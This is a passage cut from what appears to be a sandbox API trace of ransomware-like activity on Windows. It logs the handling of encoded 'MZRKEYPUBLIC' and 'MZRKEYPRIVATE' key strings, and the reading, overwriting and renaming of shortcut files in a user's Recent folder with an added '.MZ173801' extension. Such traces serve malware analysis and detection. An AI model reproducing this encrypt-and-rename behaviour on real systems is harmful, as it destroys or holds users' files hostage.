lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.225] GetCurrentThreadId () returned 0xab4 [0152.225] GetCurrentThreadId () returned 0xab4 [0152.225] GetCurrentThreadId () returned 0xab4 [0152.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX2YPj0q7xi_0h30ePDe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx2ypj0q7xi_0h30epde.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.225] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.225] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.226] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x586 [0152.226] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.226] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x586, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x586, lpOverlapped=0x0) returned 1 [0152.227] CloseHandle (hObject=0x280) returned 1 [0152.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX2YPj0q7xi_0h30ePDe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx2ypj0q7xi_0h30epde.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.228] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x586, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x586, lpOverlapped=0x0) returned 1 [0152.230] CloseHandle (hObject=0x280) returned 1 [0152.266] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX2YPj0q7xi_0h30ePDe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx2ypj0q7xi_0h30epde.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX2YPj0q7xi_0h30ePDe.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx2ypj0q7xi_0h30epde.lnk.mz173801")) returned 1 [0152.279] GetCurrentThreadId () returned 0xab4 [0152.279] GetCurrentThreadId () returned 0xab4 [0152.279] GetCurrentThreadId () returned 0xab4 [0152.279] GetCurrentThreadId () returned 0xab4 [0152.290] GetCurrentThreadId () returned 0xab4 [0152.290] GetCurrentThreadId () returned 0xab4 [0152.290] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fbeae3, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x70fbeae3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x70fbeae3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x598, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="U6w rqSTE2RE5fqSNr.lnk", cAlternateFileName="U6WRQS~1.LNK")) returned 1 [0152.290] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.291] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6w rqSTE2RE5fqSNr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u6w rqste2re5fqsnr.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fbeae3, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x70fbeae3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x70fbeae3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x598)) returned 1 [0152.291] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6w rqSTE2RE5fqSNr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u6w rqste2re5fqsnr.lnk")) returned 0x20 [0152.292] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6w rqSTE2RE5fqSNr.lnk", dwFileAttributes=0x80) returned 1 [0152.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.338] GetCurrentThreadId () returned 0xab4 [0152.338] GetCurrentThreadId () returned 0xab4 [0152.339] GetCurrentThreadId () returned 0xab4 [0152.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.339] GetCurrentThreadId () returned 0xab4 [0152.339] GetCurrentThreadId () returned 0xab4 [0152.339] GetCurrentThreadId () returned 0xab4 [0152.340] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6w rqSTE2RE5fqSNr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\u6w rqste2re5fqsnr.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.340] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: 